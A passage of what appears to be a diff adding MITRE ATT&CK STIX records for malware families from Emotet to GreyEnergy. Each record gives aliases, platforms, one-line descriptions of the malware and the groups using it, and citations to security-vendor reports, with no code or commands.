"https://support.malwarebytes.com/docs/DOC-2295", + "description": "Smith, A.. (2017, December 22). Protect your network from Emotet Trojan with Malwarebytes Endpoint Security. Retrieved January 17, 2019.", + "source_name": "Malwarebytes Emotet Dec 2017" + }, + { + "url": "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", + "description": "Symantec. (2018, July 18). The Evolution of Emotet: From Banking Trojan to Threat Distributor. Retrieved March 25, 2019.", + "source_name": "Symantec Emotet Jul 2018" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-201A", + "description": "US-CERT. (2018, July 20). Alert (TA18-201A) Emotet Malware. Retrieved March 25, 2019.", + "source_name": "US-CERT Emotet Jul 2018" + }, + { + "source_name": "ESET Emotet Nov 2018", + "description": "ESET . (2018, November 9). Emotet launches major new spam campaign. Retrieved March 25, 2019.", + "url": "https://www.welivesecurity.com/2018/11/09/emotet-launches-major-new-spam-campaign/" + }, + { + "url": "https://www.secureworks.com/blog/lazy-passwords-become-rocket-fuel-for-emotet-smb-spreader", + "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.", + "source_name": "Secureworks Emotet Nov 2018" + }, + { + "url": "https://blog.talosintelligence.com/2019/01/return-of-emotet.html", + "description": "Brumaghin, E.. (2019, January 15). Emotet re-emerges after the holidays. Retrieved March 25, 2019.", + "source_name": "Talos Emotet Jan 2019" + }, + { + "url": "https://documents.trendmicro.com/assets/white_papers/ExploringEmotetsActivities_Final.pdf", + "description": "Trend Micro. (2019, January 16). Exploring Emotet's Activities . Retrieved March 25, 2019.", + "source_name": "Trend Micro Emotet Jan 2019" + }, + { + "url": "https://www.cisecurity.org/white-papers/ms-isac-security-primer-emotet/", + "description": "CIS. (2018, December 12). MS-ISAC Security Primer- Emotet. Retrieved March 25, 2019.", + "source_name": "CIS Emotet Dec 2018" + }, + { + "url": "https://www.picussecurity.com/blog/the-christmas-card-you-never-wanted-a-new-wave-of-emotet-is-back-to-wreak-havoc.html", + "description": "\u00d6zarslan, S. (2018, December 21). The Christmas Card you never wanted - A new wave of Emotet is back to wreak havoc. Retrieved March 25, 2019.", + "source_name": "Picus Emotet Dec 2018" + }, + { + "url": "https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/", + "description": "Donohue, B.. (2019, February 13). https://redcanary.com/blog/stopping-emotet-before-it-moves-laterally/. Retrieved March 25, 2019.", + "source_name": "Red Canary Emotet Feb 2019" + } + ] + }, + { + "type": "malware", + "modified": "2021-10-16T01:24:29.056Z", + "name": "EnvyScout", + "x_mitre_aliases": [ + "EnvyScout" + ], + "x_mitre_version": "1.0", + "created": "2021-08-02T15:31:32.397Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", + "description": "[EnvyScout](https://attack.mitre.org/software/S0634) is a dropper that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0634", + "external_id": "S0634", + "source_name": "mitre-attack" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", + "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021.", + "source_name": "MSTIC Nobelium Toolset May 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Epic", + "x_mitre_aliases": [ + "Epic", + "Tavdig", + "Wipbot", + "WorldCupSec", + "TadjMakhal" + ], + "x_mitre_version": "1.3", + "modified": "2020-10-26T14:33:46.159Z", + "created": "2017-05-31T21:32:58.738Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "description": "[Epic](https://attack.mitre.org/software/S0091) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010). (Citation: Kaspersky Turla)", + "x_mitre_contributors": [ + "Martin Smol\u00e1r, ESET" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0091", + "external_id": "S0091", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Epic" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Tavdig" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "Wipbot" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "WorldCupSec" + }, + { + "description": "(Citation: Kaspersky Turla)", + "source_name": "TadjMakhal" + }, + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "EvilBunny", + "x_mitre_aliases": [ + "EvilBunny" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-02T00:14:13.954Z", + "created": "2019-06-28T17:40:32.217Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a8a778f5-0035-4870-bb25-53dc05029586", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be a execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)", + "x_mitre_contributors": [ + "ESET" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0396", + "external_id": "S0396", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cyphort EvilBunny Dec 2014)", + "source_name": "EvilBunny" + }, + { + "source_name": "Cyphort EvilBunny Dec 2014", + "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019.", + "url": "https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "EvilGrab", + "x_mitre_aliases": [ + "EvilGrab" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:22:54.155Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "description": "[EvilGrab](https://attack.mitre.org/software/S0152) is a malware family with common reconnaissance capabilities. It has been deployed by [menuPass](https://attack.mitre.org/groups/G0045) via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0152", + "external_id": "S0152", + "source_name": "mitre-attack" + }, + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-14T22:43:50.451Z", + "name": "Exaramel for Linux", + "x_mitre_aliases": [ + "Exaramel for Linux" + ], + "x_mitre_version": "1.2", + "created": "2019-08-26T13:02:46.378Z", + "x_mitre_platforms": [ + "Linux" + ], + "id": "malware--11194d8b-fdce-45d2-8047-df15bb8f16bd", + "description": "[Exaramel for Linux](https://attack.mitre.org/software/S0401) is a backdoor written in the Go Programming Language and compiled as a 64-bit ELF binary. The Windows version is tracked separately under [Exaramel for Windows](https://attack.mitre.org/software/S0343).(Citation: ESET TeleBots Oct 2018)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0401", + "external_id": "S0401", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET TeleBots Oct 2018)", + "source_name": "Exaramel for Linux" + }, + { + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018" + } + ] + }, + { + "type": "malware", + "modified": "2020-06-17T23:21:44.445Z", + "name": "Exaramel for Windows", + "x_mitre_aliases": [ + "Exaramel for Windows" + ], + "x_mitre_version": "2.1", + "created": "2019-01-30T15:10:03.894Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5", + "description": "[Exaramel for Windows](https://attack.mitre.org/software/S0343) is a backdoor used for targeting Windows systems. The Linux version is tracked separately under [Exaramel for Linux](https://attack.mitre.org/software/S0401).(Citation: ESET TeleBots Oct 2018)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0343", + "external_id": "S0343", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET TeleBots Oct 2018)", + "source_name": "Exaramel for Windows" + }, + { + "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/", + "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.", + "source_name": "ESET TeleBots Oct 2018" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-27T01:56:35.649Z", + "name": "Explosive", + "x_mitre_aliases": [ + "Explosive" + ], + "x_mitre_version": "1.0", + "created": "2021-02-08T21:41:25.501Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--6a21e3a4-5ffe-4581-af9a-6a54c7536f44", + "description": "[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). 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Retrieved February 8, 2021.", + "source_name": "CheckPoint Volatile Cedar March 2015" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.", + "source_name": "ClearSky Lebanese Cedar Jan 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "FALLCHILL", + "x_mitre_aliases": [ + "FALLCHILL" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-23T20:01:10.366Z", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--fece06b7-d4b1-42cf-b81a-5323c917546e", + "description": "[FALLCHILL](https://attack.mitre.org/software/S0181) is a RAT that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032) since at least 2016 to target the aerospace, telecommunications, and finance industries. It is usually dropped by other [Lazarus Group](https://attack.mitre.org/groups/G0032) malware or delivered when a victim unknowingly visits a compromised website. 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Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "FELIXROOT", + "x_mitre_aliases": [ + "FELIXROOT", + "GreyEnergy mini" + ], + "x_mitre_version": "2.1", + "modified": "2020-03-30T16:23:47.799Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) is a backdoor that has been used to target Ukrainian victims. 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Retrieved June 24, 2021.", + "source_name": "NCC Group Fivehands June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "FLASHFLOOD", + "x_mitre_aliases": [ + "FLASHFLOOD" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T02:54:51.882Z", + "created": "2017-05-31T21:32:28.754Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. 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Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Final1stspy", + "x_mitre_aliases": [ + "Final1stspy" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:41:11.166Z", + "created": "2019-01-31T00:23:06.022Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) is a dropper family that has been used to deliver [DOGCALL](https://attack.mitre.org/software/S0213).(Citation: Unit 42 Nokki Oct 2018)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0355", + "external_id": "S0355", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 Nokki Oct 2018)", + "source_name": "Final1stspy" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. 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(n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Fysbis", + "x_mitre_aliases": [ + "Fysbis" + ], + "x_mitre_version": "1.2", + "modified": "2020-11-06T15:24:20.400Z", + "created": "2019-09-12T17:40:38.303Z", + "x_mitre_platforms": [ + "Linux" + ], + "id": "malware--50d6688b-0985-4f3d-8cbe-0c796b30703b", + "description": "[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0410", + "external_id": "S0410", + "source_name": "mitre-attack" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/", + "description": "Bryan Lee and Rob Downs. (2016, February 12). A Look Into Fysbis: Sofacy\u2019s Linux Backdoor. Retrieved September 10, 2017.", + "source_name": "Fysbis Palo Alto Analysis" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GLOOXMAIL", + "x_mitre_aliases": [ + "GLOOXMAIL", + "Trojan.GTALK" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:42:52.248Z", + "created": "2017-05-31T21:32:20.526Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2", + "description": "[GLOOXMAIL](https://attack.mitre.org/software/S0026) is malware used by [APT1](https://attack.mitre.org/groups/G0006) that mimics legitimate Jabber/XMPP traffic. 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(2019, May 8). FIN7.5: the infamous cybercrime rig \u201cFIN7\u201d continues its activities. Retrieved October 11, 2019.", + "url": "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Gazer", + "x_mitre_aliases": [ + "Gazer", + "WhiteBear" + ], + "x_mitre_version": "1.2", + "modified": "2020-12-04T21:07:22.870Z", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "description": "[Gazer](https://attack.mitre.org/software/S0168) is a backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2016. (Citation: ESET Gazer Aug 2017)", + "x_mitre_contributors": [ + "Bartosz Jerzman" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0168", + "external_id": "S0168", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: ESET Gazer Aug 2017)", + "source_name": "Gazer" + }, + { + "description": "The term WhiteBear is used both for the activity group (a subset of G0010) as well as the malware observed. Based on similarities in behavior and C2, WhiteBear is assessed to be the same as S0168. (Citation: Securelist WhiteBear Aug 2017)(Citation: ESET Crutch December 2020)", + "source_name": "WhiteBear" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. 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Retrieved December 4, 2020.", + "source_name": "ESET Crutch December 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GeminiDuke", + "x_mitre_aliases": [ + "GeminiDuke" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T16:43:20.186Z", + "created": "2017-05-31T21:32:36.177Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6", + "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. 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Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Get2", + "x_mitre_aliases": [ + "Get2" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-16T16:48:16.541Z", + "created": "2020-05-29T20:32:42.686Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", + "description": "[Get2](https://attack.mitre.org/software/S0460) is a downloader written in C++ that has been used by [TA505](https://attack.mitre.org/groups/G0092) to deliver [FlawedGrace](https://attack.mitre.org/software/S0383), [FlawedAmmyy](https://attack.mitre.org/software/S0381), Snatch and [SDBbot](https://attack.mitre.org/software/S0461).(Citation: Proofpoint TA505 October 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0460", + "external_id": "S0460", + "source_name": "mitre-attack" + }, + { + "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", + "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020.", + "source_name": "Proofpoint TA505 October 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Gold Dragon", + "x_mitre_aliases": [ + "Gold Dragon" + ], + "x_mitre_version": "1.1", + "modified": "2020-04-21T23:09:31.063Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. 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Retrieved June 6, 2018.", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GoldFinder", + "x_mitre_aliases": [ + "GoldFinder" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-24T22:32:23.654Z", + "created": "2021-03-26T16:48:31.793Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b7010785-699f-412f-ba49-524da6033c76", + "description": "[GoldFinder](https://attack.mitre.org/software/S0597) is a custom HTTP tracer tool written in Go that logs the route a packet takes between a compromised network and a C2 server. It can be used to inform threat actors of potential points of discovery or logging of their actions, including C2 related to other malware. [GoldFinder](https://attack.mitre.org/software/S0597) was discovered in early 2021 during an investigation into the SolarWinds cyber intrusion by [APT29](https://attack.mitre.org/groups/G0016).(Citation: MSTIC NOBELIUM Mar 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0597", + "external_id": "S0597", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "source_name": "GoldFinder" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "source_name": "MSTIC NOBELIUM Mar 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GoldMax", + "x_mitre_aliases": [ + "GoldMax", + "SUNSHUTTLE" + ], + "x_mitre_version": "1.0", + "modified": "2021-04-26T22:52:42.023Z", + "created": "2021-03-12T16:10:45.416Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", + "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go that was used by [APT29](https://attack.mitre.org/groups/G0016) and discovered in early 2021 during the investigation into breaches related to the SolarWinds intrusion. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0588", + "external_id": "S0588", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: MSTIC NOBELIUM Mar 2021)", + "source_name": "GoldMax" + }, + { + "description": "(Citation: FireEye SUNSHUTTLE Mar 2021)", + "source_name": "SUNSHUTTLE" + }, + { + "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", + "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", + "source_name": "MSTIC NOBELIUM Mar 2021" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "description": "Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021.", + "source_name": "FireEye SUNSHUTTLE Mar 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GoldenSpy", + "x_mitre_aliases": [ + "GoldenSpy" + ], + "x_mitre_version": "1.0", + "modified": "2020-08-19T16:31:40.508Z", + "created": "2020-07-23T13:50:10.409Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--b9704a7d-feef-4af9-8898-5280f1686326", + "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) is a backdoor malware which has been packaged with legitimate tax preparation software. [GoldenSpy](https://attack.mitre.org/software/S0493) was discovered targeting organizations in China, being delivered with the \"Intelligent Tax\" software suite which is produced by the Golden Tax Department of Aisino Credit Information Co. and required to pay local taxes.(Citation: Trustwave GoldenSpy June 2020) ", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0493", + "external_id": "S0493", + "source_name": "mitre-attack" + }, + { + "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", + "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020.", + "source_name": "Trustwave GoldenSpy June 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Goopy", + "x_mitre_aliases": [ + "Goopy" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-29T21:37:55.776Z", + "created": "2020-06-19T20:42:19.258Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--eac3d77f-2b7b-4599-ba74-948dc16633ad", + "description": "[Goopy](https://attack.mitre.org/software/S0477) is a Windows backdoor and Trojan used by [APT32](https://attack.mitre.org/groups/G0050) and shares several similarities to another backdoor used by the group ([Denis](https://attack.mitre.org/software/S0354)). [Goopy](https://attack.mitre.org/software/S0477) is named for its impersonation of the legitimate Google Updater executable.(Citation: Cybereason Cobalt Kitty 2017)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0477", + "external_id": "S0477", + "source_name": "mitre-attack" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Grandoreiro", + "x_mitre_aliases": [ + "Grandoreiro" + ], + "x_mitre_version": "1.0", + "modified": "2020-12-22T21:22:34.174Z", + "created": "2020-11-10T21:13:44.259Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", + "description": "[Grandoreiro](https://attack.mitre.org/software/S0531) is a banking trojan written in Delphi that was first observed in 2016 and uses a Malware-as-a-Service (MaaS) business model. [Grandoreiro](https://attack.mitre.org/software/S0531) has confirmed victims in Brazil, Mexico, Portugal, and Spain.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0531", + "external_id": "S0531", + "source_name": "mitre-attack" + }, + { + "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.", + "source_name": "Securelist Brazilian Banking Malware July 2020" + }, + { + "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/", + "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.", + "source_name": "ESET Grandoreiro April 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GravityRAT", + "x_mitre_aliases": [ + "GravityRAT" + ], + "x_mitre_version": "1.2", + "modified": "2020-03-30T20:44:34.524Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are \"TheMartian\" and \"The Invincible.\" According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. 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Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "GreyEnergy", + "x_mitre_aliases": [ + 